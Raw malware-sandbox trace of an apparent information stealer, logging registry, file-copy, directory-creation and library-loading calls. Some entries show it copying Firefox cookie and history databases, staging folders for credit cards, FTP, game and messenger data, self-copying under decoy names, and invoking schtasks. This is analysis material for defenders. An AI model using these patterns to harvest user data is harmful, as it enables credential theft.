"4Du834Zv.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "4Du834Zv.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")33:T58d,"4Du834Zv.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\2E4916B07F3DE90C8DDE2566FD9B9B400D89BBBA"; Key: "BLOB") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E6A3B45B062D509B3382282D196EFE97D5956CCB"; Key: "BLOB") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "4Du834Zv.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "4Du834Zv.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "4Du834Zv.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "4Du834Zv.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB")34:T47c,"4Du834Zv.exe" called "CopyFileW" to copy %TEMP%\IXP002.TMP\4Du834Zv.exe to new location %LOCALAPPDATA%\MaxLoonaFest131\MaxLoonaFest131.exe (UID: 00000000-00003776) "4Du834Zv.exe" called "CopyFileW" to copy %TEMP%\IXP002.TMP\4Du834Zv.exe to new location %TEMP%\FANBooster131\FANBooster131.exe (UID: 00000000-00003776) "4Du834Zv.exe" called "CopyFileW" to copy %TEMP%\IXP002.TMP\4Du834Zv.exe to new location %ALLUSERSPROFILE%\OfficeTrackerNMP131\OfficeTrackerNMP131.exe (UID: 00000000-00003776) "4Du834Zv.exe" called "CopyFileW" to copy %APPDATA%\Mozilla\Firefox\Profiles\mj0wtyin.default-1692790883487\places.sqlite to new location %TEMP%\tempAVS4CRoIeEXM83E\Yi3zxM3h2w4uplaces.sqlite (UID: 00000000-00003776) "4Du834Zv.exe" called "CopyFileW" to copy %APPDATA%\Mozilla\Firefox\Profiles\mj0wtyin.default-1692790883487\cookies.sqlite to new location %TEMP%\tempAVS4CRoIeEXM83E\WYjyCrjb6rtocookies.sqlite (UID: 00000000-00003776) "4Du834Zv.exe" called "CopyFileW" to copy %APPDATA%\Mozilla\Firefox\Profiles\mj0wtyin.default-1692790883487\places.sqlite to new location %TEMP%\tempAVS4CRoIeEXM83E\5ZAIFvw3FK0Zplaces.sqlite (UID: 00000000-00003776)35:Tb89,"4Du834Zv.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\MaxLoonaFest131 (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\FANBooster131 (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %ALLUSERSPROFILE%\OfficeTrackerNMP131 (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMS4CRoIeEXM83E (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempAVS4CRoIeEXM83E (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMS4CRoIeEXM83E\Cookies (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMS4CRoIeEXM83E\Autofill (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMS4CRoIeEXM83E\Downloads (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMS4CRoIeEXM83E\GoogleAccounts (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMS4CRoIeEXM83E\CC (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMS4CRoIeEXM83E\FTP (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMS4CRoIeEXM83E\FTP\FileZilla (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMS4CRoIeEXM83E\FTP\TotalCommander (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMS4CRoIeEXM83E\Games (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMS4CRoIeEXM83E\Games\Growtopia (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMS4CRoIeEXM83E\Games\Minecraft (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMS4CRoIeEXM83E\Games\TLauncher (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMS4CRoIeEXM83E\Games\FeatherClient (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMS4CRoIeEXM83E\Games\LunarClient (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMS4CRoIeEXM83E\Games\Battle.net (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMS4CRoIeEXM83E\Games\Steam (UID: 00000000-00003776) "4Du834Zv.exe" called "CreateDirectoryW" with parameter %TEMP%\tempCMS4CRoIeEXM83E\Messengers (UID: 00000000-00003776)36:T4a59,"a56da099e59801bac606963e44684336.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00000480) "Qv9nk40.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000296) "Qv9nk40.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000296) "Qv9nk40.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000296) "Qv9nk40.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000296) "Qv9nk40.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00000296) "cw8sM05.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00002596) "1va32uO2.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001640) "1va32uO2.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001640) "1va32uO2.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00001640) "1va32uO2.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00001640) "1va32uO2.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\ieframe.dll (UID: 00000000-00001640) "1va32uO2.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001640) "1va32uO2.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00001640) "1va32uO2.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00001640) "1va32uO2.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00001640) "1va32uO2.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00001640) "1va32uO2.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Internet Explorer\ieproxy.dll (UID: 00000000-00001640) "1va32uO2.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001640) "1va32uO2.exe" called "LoadLibrary" with a parameter iertutil.dll (UID: 00000000-00001640) "1va32uO2.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001640) "1va32uO2.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-1 (UID: 00000000-00001640) "1va32uO2.exe" called "LoadLibrary" with a parameter ext-ms-win-kernel32-package-current-l1-1-0 (UID: 00000000-00001640) "4Du834Zv.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.CSharp\f73f48afb5512225dedaee9c88ac5050\Microsoft.CSharp.ni.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\shdocvw.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter ntshrui.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter srvcli.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter cscapi.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter slc.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-SDDL-L1-1-0.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %TEMP%\IXP002.TMP\sqlite3 (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter sqlite3 (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter RASMAN.DLL (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter rtutils.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-winsvc-L1-1-0.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L1-1-0.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter NSI.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter CFGMGR32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter ncrypt.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\bcryptprimitives.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\cryptnet.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter cryptnet.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter SensApi.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter WINHTTP.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter profapi.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter setupapi.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter Cabinet.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter DEVRTL.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Dynamic\b7ad5353ae4f44df28ce7ebc9a8a752a\System.Dynamic.ni.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Data\df2dd09ed7c341842a104e1e668f184e\System.Data.ni.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter vaultcli.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Management\e114780fd3ea5727401c06ea4f22ef35\System.Management.ni.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter ucrtbase_clr0400.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter dwrite.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\wpfgfx_v0400.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationNative_v0400.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\\wminet_utils.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %TEMP%\IXP002.TMP\setupapi.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %TEMP%\IXP002.TMP\winbrand.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter winbrand.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Branding\Basebrd\Basebrd.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter 4Du834Zv.exe (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00003776) "4Du834Zv.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00003776) "schtasks.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\schtasks.exe (UID: 00000000-00002976) "schtasks.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002976) "schtasks.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002976) "schtasks.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00002976) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003136) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003136) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003136) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003136) "schtasks.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003680) "schtasks.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003680) "schtasks.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00003680) "6RL4Tz0.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002216) "6RL4Tz0.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002216) "6RL4Tz0.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002216) "6RL4Tz0.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002216)37:T117bd,"a56da099e59801bac606963e44684336.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000480) "a56da099e59801bac606963e44684336.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00000480) "Qv9nk40.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000296) 